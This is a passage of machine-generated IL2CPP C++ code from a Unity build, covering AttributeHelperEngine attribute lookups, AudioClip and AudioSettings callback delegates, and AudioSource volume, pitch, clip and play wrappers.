*)il2cpp_codegen_object_new(Stack_1_t2391531380_il2cpp_TypeInfo_var); Stack_1__ctor_m1240888107(L_0, /*hidden argument*/Stack_1__ctor_m1240888107_MethodInfo_var); V_0 = L_0; goto IL_001d; } IL_000c: { Stack_1_t2391531380 * L_1 = V_0; Type_t * L_2 = ___type0; NullCheck(L_1); Stack_1_Push_m1219431354(L_1, L_2, /*hidden argument*/Stack_1_Push_m1219431354_MethodInfo_var); Type_t * L_3 = ___type0; NullCheck(L_3); Type_t * L_4 = VirtFuncInvoker0< Type_t * >::Invoke(17 /* System.Type System.Type::get_BaseType() */, L_3); ___type0 = L_4; } IL_001d: { Type_t * L_5 = ___type0; if (!L_5) { goto IL_0033; } } { Type_t * L_6 = ___type0; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_7 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(MonoBehaviour_t1158329972_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_6) == ((Il2CppObject*)(Type_t *)L_7)))) { goto IL_000c; } } IL_0033: { V_1 = (Type_t *)NULL; goto IL_0067; } IL_003a: { Stack_1_t2391531380 * L_8 = V_0; NullCheck(L_8); Type_t * L_9 = Stack_1_Pop_m685736912(L_8, /*hidden argument*/Stack_1_Pop_m685736912_MethodInfo_var); V_1 = L_9; Type_t * L_10 = V_1; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_11 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(DisallowMultipleComponent_t2656950_0_0_0_var), /*hidden argument*/NULL); NullCheck(L_10); ObjectU5BU5D_t3614634134* L_12 = VirtFuncInvoker2< ObjectU5BU5D_t3614634134*, Type_t *, bool >::Invoke(13 /* System.Object[] System.Reflection.MemberInfo::GetCustomAttributes(System.Type,System.Boolean) */, L_10, L_11, (bool)0); V_2 = L_12; ObjectU5BU5D_t3614634134* L_13 = V_2; NullCheck(L_13); V_3 = (((int32_t)((int32_t)(((Il2CppArray *)L_13)->max_length)))); int32_t L_14 = V_3; if (!L_14) { goto IL_0066; } } { Type_t * L_15 = V_1; V_4 = L_15; goto IL_007b; } IL_0066: { } IL_0067: { Stack_1_t2391531380 * L_16 = V_0; NullCheck(L_16); int32_t L_17 = Stack_1_get_Count_m1292854535(L_16, /*hidden argument*/Stack_1_get_Count_m1292854535_MethodInfo_var); if ((((int32_t)L_17) > ((int32_t)0))) { goto IL_003a; } } { V_4 = (Type_t *)NULL; goto IL_007b; } IL_007b: { Type_t * L_18 = V_4; return L_18; } } // System.Type[] UnityEngine.AttributeHelperEngine::GetRequiredComponents(System.Type) extern "C" TypeU5BU5D_t1664964607* AttributeHelperEngine_GetRequiredComponents_m120894667 (Il2CppObject * __this /* static, unused */, Type_t * ___klass0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AttributeHelperEngine_GetRequiredComponents_m120894667_MetadataUsageId); s_Il2CppMethodInitialized = true; } List_1_t672924358 * V_0 = NULL; RequireComponentU5BU5D_t2214070761* V_1 = NULL; Type_t * V_2 = NULL; RequireComponent_t864575032 * V_3 = NULL; RequireComponentU5BU5D_t2214070761* V_4 = NULL; int32_t V_5 = 0; TypeU5BU5D_t1664964607* V_6 = NULL; TypeU5BU5D_t1664964607* V_7 = NULL; { V_0 = (List_1_t672924358 *)NULL; goto IL_00ef; } IL_0008: { Type_t * L_0 = ___klass0; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_1 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(RequireComponent_t864575032_0_0_0_var), /*hidden argument*/NULL); NullCheck(L_0); ObjectU5BU5D_t3614634134* L_2 = VirtFuncInvoker2< ObjectU5BU5D_t3614634134*, Type_t *, bool >::Invoke(13 /* System.Object[] System.Reflection.MemberInfo::GetCustomAttributes(System.Type,System.Boolean) */, L_0, L_1, (bool)0); V_1 = ((RequireComponentU5BU5D_t2214070761*)Castclass(L_2, RequireComponentU5BU5D_t2214070761_il2cpp_TypeInfo_var)); Type_t * L_3 = ___klass0; NullCheck(L_3); Type_t * L_4 = VirtFuncInvoker0< Type_t * >::Invoke(17 /* System.Type System.Type::get_BaseType() */, L_3); V_2 = L_4; RequireComponentU5BU5D_t2214070761* L_5 = V_1; V_4 = L_5; V_5 = 0; goto IL_00e0; } IL_0033: { RequireComponentU5BU5D_t2214070761* L_6 = V_4; int32_t L_7 = V_5; NullCheck(L_6); int32_t L_8 = L_7; RequireComponent_t864575032 * L_9 = (L_6)->GetAt(static_cast(L_8)); V_3 = L_9; List_1_t672924358 * L_10 = V_0; if (L_10) { goto IL_0086; } } { RequireComponentU5BU5D_t2214070761* L_11 = V_1; NullCheck(L_11); if ((!(((uint32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_11)->max_length))))) == ((uint32_t)1)))) { goto IL_0086; } } { Type_t * L_12 = V_2; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_13 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(MonoBehaviour_t1158329972_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_12) == ((Il2CppObject*)(Type_t *)L_13)))) { goto IL_0086; } } { TypeU5BU5D_t1664964607* L_14 = ((TypeU5BU5D_t1664964607*)SZArrayNew(TypeU5BU5D_t1664964607_il2cpp_TypeInfo_var, (uint32_t)3)); RequireComponent_t864575032 * L_15 = V_3; NullCheck(L_15); Type_t * L_16 = L_15->get_m_Type0_0(); NullCheck(L_14); ArrayElementTypeCheck (L_14, L_16); (L_14)->SetAt(static_cast(0), (Type_t *)L_16); TypeU5BU5D_t1664964607* L_17 = L_14; RequireComponent_t864575032 * L_18 = V_3; NullCheck(L_18); Type_t * L_19 = L_18->get_m_Type1_1(); NullCheck(L_17); ArrayElementTypeCheck (L_17, L_19); (L_17)->SetAt(static_cast(1), (Type_t *)L_19); TypeU5BU5D_t1664964607* L_20 = L_17; RequireComponent_t864575032 * L_21 = V_3; NullCheck(L_21); Type_t * L_22 = L_21->get_m_Type2_2(); NullCheck(L_20); ArrayElementTypeCheck (L_20, L_22); (L_20)->SetAt(static_cast(2), (Type_t *)L_22); V_6 = L_20; TypeU5BU5D_t1664964607* L_23 = V_6; V_7 = L_23; goto IL_0120; } IL_0086: { List_1_t672924358 * L_24 = V_0; if (L_24) { goto IL_0093; } } { List_1_t672924358 * L_25 = (List_1_t672924358 *)il2cpp_codegen_object_new(List_1_t672924358_il2cpp_TypeInfo_var); List_1__ctor_m4047179467(L_25, /*hidden argument*/List_1__ctor_m4047179467_MethodInfo_var); V_0 = L_25; } IL_0093: { RequireComponent_t864575032 * L_26 = V_3; NullCheck(L_26); Type_t * L_27 = L_26->get_m_Type0_0(); if (!L_27) { goto IL_00aa; } } { List_1_t672924358 * L_28 = V_0; RequireComponent_t864575032 * L_29 = V_3; NullCheck(L_29); Type_t * L_30 = L_29->get_m_Type0_0(); NullCheck(L_28); List_1_Add_m176071399(L_28, L_30, /*hidden argument*/List_1_Add_m176071399_MethodInfo_var); } IL_00aa: { RequireComponent_t864575032 * L_31 = V_3; NullCheck(L_31); Type_t * L_32 = L_31->get_m_Type1_1(); if (!L_32) { goto IL_00c1; } } { List_1_t672924358 * L_33 = V_0; RequireComponent_t864575032 * L_34 = V_3; NullCheck(L_34); Type_t * L_35 = L_34->get_m_Type1_1(); NullCheck(L_33); List_1_Add_m176071399(L_33, L_35, /*hidden argument*/List_1_Add_m176071399_MethodInfo_var); } IL_00c1: { RequireComponent_t864575032 * L_36 = V_3; NullCheck(L_36); Type_t * L_37 = L_36->get_m_Type2_2(); if (!L_37) { goto IL_00d8; } } { List_1_t672924358 * L_38 = V_0; RequireComponent_t864575032 * L_39 = V_3; NullCheck(L_39); Type_t * L_40 = L_39->get_m_Type2_2(); NullCheck(L_38); List_1_Add_m176071399(L_38, L_40, /*hidden argument*/List_1_Add_m176071399_MethodInfo_var); } IL_00d8: { int32_t L_41 = V_5; V_5 = ((int32_t)((int32_t)L_41+(int32_t)1)); } IL_00e0: { int32_t L_42 = V_5; RequireComponentU5BU5D_t2214070761* L_43 = V_4; NullCheck(L_43); if ((((int32_t)L_42) < ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_43)->max_length))))))) { goto IL_0033; } } { Type_t * L_44 = V_2; ___klass0 = L_44; } IL_00ef: { Type_t * L_45 = ___klass0; if (!L_45) { goto IL_0105; } } { Type_t * L_46 = ___klass0; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_47 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(MonoBehaviour_t1158329972_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_46) == ((Il2CppObject*)(Type_t *)L_47)))) { goto IL_0008; } } IL_0105: { List_1_t672924358 * L_48 = V_0; if (L_48) { goto IL_0113; } } { V_7 = (TypeU5BU5D_t1664964607*)NULL; goto IL_0120; } IL_0113: { List_1_t672924358 * L_49 = V_0; NullCheck(L_49); TypeU5BU5D_t1664964607* L_50 = List_1_ToArray_m1070939693(L_49, /*hidden argument*/List_1_ToArray_m1070939693_MethodInfo_var); V_7 = L_50; goto IL_0120; } IL_0120: { TypeU5BU5D_t1664964607* L_51 = V_7; return L_51; } } // System.Boolean UnityEngine.AttributeHelperEngine::CheckIsEditorScript(System.Type) extern "C" bool AttributeHelperEngine_CheckIsEditorScript_m2980171478 (Il2CppObject * __this /* static, unused */, Type_t * ___klass0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AttributeHelperEngine_CheckIsEditorScript_m2980171478_MetadataUsageId); s_Il2CppMethodInitialized = true; } ObjectU5BU5D_t3614634134* V_0 = NULL; int32_t V_1 = 0; bool V_2 = false; { goto IL_0033; } IL_0006: { Type_t * L_0 = ___klass0; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_1 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(ExecuteInEditMode_t3043633143_0_0_0_var), /*hidden argument*/NULL); NullCheck(L_0); ObjectU5BU5D_t3614634134* L_2 = VirtFuncInvoker2< ObjectU5BU5D_t3614634134*, Type_t *, bool >::Invoke(13 /* System.Object[] System.Reflection.MemberInfo::GetCustomAttributes(System.Type,System.Boolean) */, L_0, L_1, (bool)0); V_0 = L_2; ObjectU5BU5D_t3614634134* L_3 = V_0; NullCheck(L_3); V_1 = (((int32_t)((int32_t)(((Il2CppArray *)L_3)->max_length)))); int32_t L_4 = V_1; if (!L_4) { goto IL_002a; } } { V_2 = (bool)1; goto IL_0050; } IL_002a: { Type_t * L_5 = ___klass0; NullCheck(L_5); Type_t * L_6 = VirtFuncInvoker0< Type_t * >::Invoke(17 /* System.Type System.Type::get_BaseType() */, L_5); ___klass0 = L_6; } IL_0033: { Type_t * L_7 = ___klass0; if (!L_7) { goto IL_0049; } } { Type_t * L_8 = ___klass0; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_9 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(MonoBehaviour_t1158329972_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_8) == ((Il2CppObject*)(Type_t *)L_9)))) { goto IL_0006; } } IL_0049: { V_2 = (bool)0; goto IL_0050; } IL_0050: { bool L_10 = V_2; return L_10; } } // System.Int32 UnityEngine.AttributeHelperEngine::GetDefaultExecutionOrderFor(System.Type) extern "C" int32_t AttributeHelperEngine_GetDefaultExecutionOrderFor_m451063166 (Il2CppObject * __this /* static, unused */, Type_t * ___klass0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AttributeHelperEngine_GetDefaultExecutionOrderFor_m451063166_MetadataUsageId); s_Il2CppMethodInitialized = true; } DefaultExecutionOrder_t2717914595 * V_0 = NULL; int32_t V_1 = 0; { Type_t * L_0 = ___klass0; IL2CPP_RUNTIME_CLASS_INIT(AttributeHelperEngine_t958797062_il2cpp_TypeInfo_var); DefaultExecutionOrder_t2717914595 * L_1 = AttributeHelperEngine_GetCustomAttributeOfType_TisDefaultExecutionOrder_t2717914595_m3755678983(NULL /*static, unused*/, L_0, /*hidden argument*/AttributeHelperEngine_GetCustomAttributeOfType_TisDefaultExecutionOrder_t2717914595_m3755678983_MethodInfo_var); V_0 = L_1; DefaultExecutionOrder_t2717914595 * L_2 = V_0; if (L_2) { goto IL_0015; } } { V_1 = 0; goto IL_0021; } IL_0015: { DefaultExecutionOrder_t2717914595 * L_3 = V_0; NullCheck(L_3); int32_t L_4 = DefaultExecutionOrder_get_order_m1561221759(L_3, /*hidden argument*/NULL); V_1 = L_4; goto IL_0021; } IL_0021: { int32_t L_5 = V_1; return L_5; } } // System.Void UnityEngine.AttributeHelperEngine::.cctor() extern "C" void AttributeHelperEngine__cctor_m1775592582 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AttributeHelperEngine__cctor_m1775592582_MetadataUsageId); s_Il2CppMethodInitialized = true; } { ((AttributeHelperEngine_t958797062_StaticFields*)AttributeHelperEngine_t958797062_il2cpp_TypeInfo_var->static_fields)->set__disallowMultipleComponentArray_0(((DisallowMultipleComponentU5BU5D_t674354611*)SZArrayNew(DisallowMultipleComponentU5BU5D_t674354611_il2cpp_TypeInfo_var, (uint32_t)1))); ((AttributeHelperEngine_t958797062_StaticFields*)AttributeHelperEngine_t958797062_il2cpp_TypeInfo_var->static_fields)->set__executeInEditModeArray_1(((ExecuteInEditModeU5BU5D_t1783660110*)SZArrayNew(ExecuteInEditModeU5BU5D_t1783660110_il2cpp_TypeInfo_var, (uint32_t)1))); ((AttributeHelperEngine_t958797062_StaticFields*)AttributeHelperEngine_t958797062_il2cpp_TypeInfo_var->static_fields)->set__requireComponentArray_2(((RequireComponentU5BU5D_t2214070761*)SZArrayNew(RequireComponentU5BU5D_t2214070761_il2cpp_TypeInfo_var, (uint32_t)1))); return; } } // System.Void UnityEngine.AudioClip::InvokePCMReaderCallback_Internal(System.Single[]) extern "C" void AudioClip_InvokePCMReaderCallback_Internal_m1966286598 (AudioClip_t1932558630 * __this, SingleU5BU5D_t577127397* ___data0, const MethodInfo* method) { { PCMReaderCallback_t3007145346 * L_0 = __this->get_m_PCMReaderCallback_2(); if (!L_0) { goto IL_0018; } } { PCMReaderCallback_t3007145346 * L_1 = __this->get_m_PCMReaderCallback_2(); SingleU5BU5D_t577127397* L_2 = ___data0; NullCheck(L_1); PCMReaderCallback_Invoke_m3610389815(L_1, L_2, /*hidden argument*/NULL); } IL_0018: { return; } } // System.Void UnityEngine.AudioClip::InvokePCMSetPositionCallback_Internal(System.Int32) extern "C" void AudioClip_InvokePCMSetPositionCallback_Internal_m2304858844 (AudioClip_t1932558630 * __this, int32_t ___position0, const MethodInfo* method) { { PCMSetPositionCallback_t421863554 * L_0 = __this->get_m_PCMSetPositionCallback_3(); if (!L_0) { goto IL_0018; } } { PCMSetPositionCallback_t421863554 * L_1 = __this->get_m_PCMSetPositionCallback_3(); int32_t L_2 = ___position0; NullCheck(L_1); PCMSetPositionCallback_Invoke_m651987035(L_1, L_2, /*hidden argument*/NULL); } IL_0018: { return; } } extern "C" void DelegatePInvokeWrapper_PCMReaderCallback_t3007145346 (PCMReaderCallback_t3007145346 * __this, SingleU5BU5D_t577127397* ___data0, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(float*); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Marshaling of parameter '___data0' to native representation float* ____data0_marshaled = NULL; if (___data0 != NULL) { ____data0_marshaled = reinterpret_cast((___data0)->GetAddressAtUnchecked(0)); } // Native function invocation il2cppPInvokeFunc(____data0_marshaled); } // System.Void UnityEngine.AudioClip/PCMReaderCallback::.ctor(System.Object,System.IntPtr) extern "C" void PCMReaderCallback__ctor_m4217492708 (PCMReaderCallback_t3007145346 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.AudioClip/PCMReaderCallback::Invoke(System.Single[]) extern "C" void PCMReaderCallback_Invoke_m3610389815 (PCMReaderCallback_t3007145346 * __this, SingleU5BU5D_t577127397* ___data0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { PCMReaderCallback_Invoke_m3610389815((PCMReaderCallback_t3007145346 *)__this->get_prev_9(),___data0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, SingleU5BU5D_t577127397* ___data0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___data0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else if (__this->get_m_target_2() != NULL || ___methodIsStatic) { typedef void (*FunctionPointerType) (void* __this, SingleU5BU5D_t577127397* ___data0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___data0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(___data0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.AudioClip/PCMReaderCallback::BeginInvoke(System.Single[],System.AsyncCallback,System.Object) extern "C" Il2CppObject * PCMReaderCallback_BeginInvoke_m3119095492 (PCMReaderCallback_t3007145346 * __this, SingleU5BU5D_t577127397* ___data0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { void *__d_args[2] = {0}; __d_args[0] = ___data0; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Void UnityEngine.AudioClip/PCMReaderCallback::EndInvoke(System.IAsyncResult) extern "C" void PCMReaderCallback_EndInvoke_m909664362 (PCMReaderCallback_t3007145346 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } extern "C" void DelegatePInvokeWrapper_PCMSetPositionCallback_t421863554 (PCMSetPositionCallback_t421863554 * __this, int32_t ___position0, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(int32_t); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Native function invocation il2cppPInvokeFunc(___position0); } // System.Void UnityEngine.AudioClip/PCMSetPositionCallback::.ctor(System.Object,System.IntPtr) extern "C" void PCMSetPositionCallback__ctor_m232778710 (PCMSetPositionCallback_t421863554 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.AudioClip/PCMSetPositionCallback::Invoke(System.Int32) extern "C" void PCMSetPositionCallback_Invoke_m651987035 (PCMSetPositionCallback_t421863554 * __this, int32_t ___position0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { PCMSetPositionCallback_Invoke_m651987035((PCMSetPositionCallback_t421863554 *)__this->get_prev_9(),___position0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, int32_t ___position0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___position0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, int32_t ___position0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___position0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.AudioClip/PCMSetPositionCallback::BeginInvoke(System.Int32,System.AsyncCallback,System.Object) extern "C" Il2CppObject * PCMSetPositionCallback_BeginInvoke_m2507142524 (PCMSetPositionCallback_t421863554 * __this, int32_t ___position0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PCMSetPositionCallback_BeginInvoke_m2507142524_MetadataUsageId); s_Il2CppMethodInitialized = true; } void *__d_args[2] = {0}; __d_args[0] = Box(Int32_t2071877448_il2cpp_TypeInfo_var, &___position0); return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Void UnityEngine.AudioClip/PCMSetPositionCallback::EndInvoke(System.IAsyncResult) extern "C" void PCMSetPositionCallback_EndInvoke_m4290184144 (PCMSetPositionCallback_t421863554 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // System.Void UnityEngine.AudioListener::set_volume(System.Single) extern "C" void AudioListener_set_volume_m1233107753 (Il2CppObject * __this /* static, unused */, float ___value0, const MethodInfo* method) { typedef void (*AudioListener_set_volume_m1233107753_ftn) (float); static AudioListener_set_volume_m1233107753_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AudioListener_set_volume_m1233107753_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AudioListener::set_volume(System.Single)"); _il2cpp_icall_func(___value0); } // System.Void UnityEngine.AudioSettings::InvokeOnAudioConfigurationChanged(System.Boolean) extern "C" void AudioSettings_InvokeOnAudioConfigurationChanged_m3225073778 (Il2CppObject * __this /* static, unused */, bool ___deviceWasChanged0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AudioSettings_InvokeOnAudioConfigurationChanged_m3225073778_MetadataUsageId); s_Il2CppMethodInitialized = true; } { AudioConfigurationChangeHandler_t3743753033 * L_0 = ((AudioSettings_t3144015719_StaticFields*)AudioSettings_t3144015719_il2cpp_TypeInfo_var->static_fields)->get_OnAudioConfigurationChanged_0(); if (!L_0) { goto IL_0016; } } { AudioConfigurationChangeHandler_t3743753033 * L_1 = ((AudioSettings_t3144015719_StaticFields*)AudioSettings_t3144015719_il2cpp_TypeInfo_var->static_fields)->get_OnAudioConfigurationChanged_0(); bool L_2 = ___deviceWasChanged0; NullCheck(L_1); AudioConfigurationChangeHandler_Invoke_m635374412(L_1, L_2, /*hidden argument*/NULL); } IL_0016: { return; } } extern "C" void DelegatePInvokeWrapper_AudioConfigurationChangeHandler_t3743753033 (AudioConfigurationChangeHandler_t3743753033 * __this, bool ___deviceWasChanged0, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(int32_t); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Native function invocation il2cppPInvokeFunc(static_cast(___deviceWasChanged0)); } // System.Void UnityEngine.AudioSettings/AudioConfigurationChangeHandler::.ctor(System.Object,System.IntPtr) extern "C" void AudioConfigurationChangeHandler__ctor_m114228029 (AudioConfigurationChangeHandler_t3743753033 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.AudioSettings/AudioConfigurationChangeHandler::Invoke(System.Boolean) extern "C" void AudioConfigurationChangeHandler_Invoke_m635374412 (AudioConfigurationChangeHandler_t3743753033 * __this, bool ___deviceWasChanged0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { AudioConfigurationChangeHandler_Invoke_m635374412((AudioConfigurationChangeHandler_t3743753033 *)__this->get_prev_9(),___deviceWasChanged0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, bool ___deviceWasChanged0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___deviceWasChanged0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, bool ___deviceWasChanged0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___deviceWasChanged0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.AudioSettings/AudioConfigurationChangeHandler::BeginInvoke(System.Boolean,System.AsyncCallback,System.Object) extern "C" Il2CppObject * AudioConfigurationChangeHandler_BeginInvoke_m2418670597 (AudioConfigurationChangeHandler_t3743753033 * __this, bool ___deviceWasChanged0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AudioConfigurationChangeHandler_BeginInvoke_m2418670597_MetadataUsageId); s_Il2CppMethodInitialized = true; } void *__d_args[2] = {0}; __d_args[0] = Box(Boolean_t3825574718_il2cpp_TypeInfo_var, &___deviceWasChanged0); return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Void UnityEngine.AudioSettings/AudioConfigurationChangeHandler::EndInvoke(System.IAsyncResult) extern "C" void AudioConfigurationChangeHandler_EndInvoke_m2237100787 (AudioConfigurationChangeHandler_t3743753033 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // System.Void UnityEngine.AudioSource::set_volume(System.Single) extern "C" void AudioSource_set_volume_m2777308722 (AudioSource_t1135106623 * __this, float ___value0, const MethodInfo* method) { typedef void (*AudioSource_set_volume_m2777308722_ftn) (AudioSource_t1135106623 *, float); static AudioSource_set_volume_m2777308722_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AudioSource_set_volume_m2777308722_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AudioSource::set_volume(System.Single)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.AudioSource::set_pitch(System.Single) extern "C" void AudioSource_set_pitch_m3064416458 (AudioSource_t1135106623 * __this, float ___value0, const MethodInfo* method) { typedef void (*AudioSource_set_pitch_m3064416458_ftn) (AudioSource_t1135106623 *, float); static AudioSource_set_pitch_m3064416458_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AudioSource_set_pitch_m3064416458_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AudioSource::set_pitch(System.Single)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.AudioSource::set_clip(UnityEngine.AudioClip) extern "C" void AudioSource_set_clip_m738814682 (AudioSource_t1135106623 * __this, AudioClip_t1932558630 * ___value0, const MethodInfo* method) { typedef void (*AudioSource_set_clip_m738814682_ftn) (AudioSource_t1135106623 *, AudioClip_t1932558630 *); static AudioSource_set_clip_m738814682_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AudioSource_set_clip_m738814682_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AudioSource::set_clip(UnityEngine.AudioClip)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.AudioSource::Play(System.UInt64) extern "C" void AudioSource_Play_m889724421 (AudioSource_t1135106623 * __this, uint64_t ___delay0, const MethodInfo* method) { typedef void (*AudioSource_Play_m889724421_ftn) (AudioSource_t1135106623 *, uint64_t); static AudioSource_Play_m889724421_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AudioSource_Play_m889724421_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AudioSource::Play(System.UInt64)"); _il2cpp_icall_func(__this, ___delay0); } // System.Void UnityEngine.AudioSource::Play() extern "C" void AudioSource_Play_m353744792 (AudioSource_t1135106623 * __this, const MethodInfo* method) { uint64_t V_0 = 0; { V_0 = (((int64_t)((int64_t)0))); uint64_t L_0 = V_0; AudioSource_Play_m889724421(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.AudioSource::set_loop(System.Boolean) extern "C" void AudioSource_set_loop_m313035616 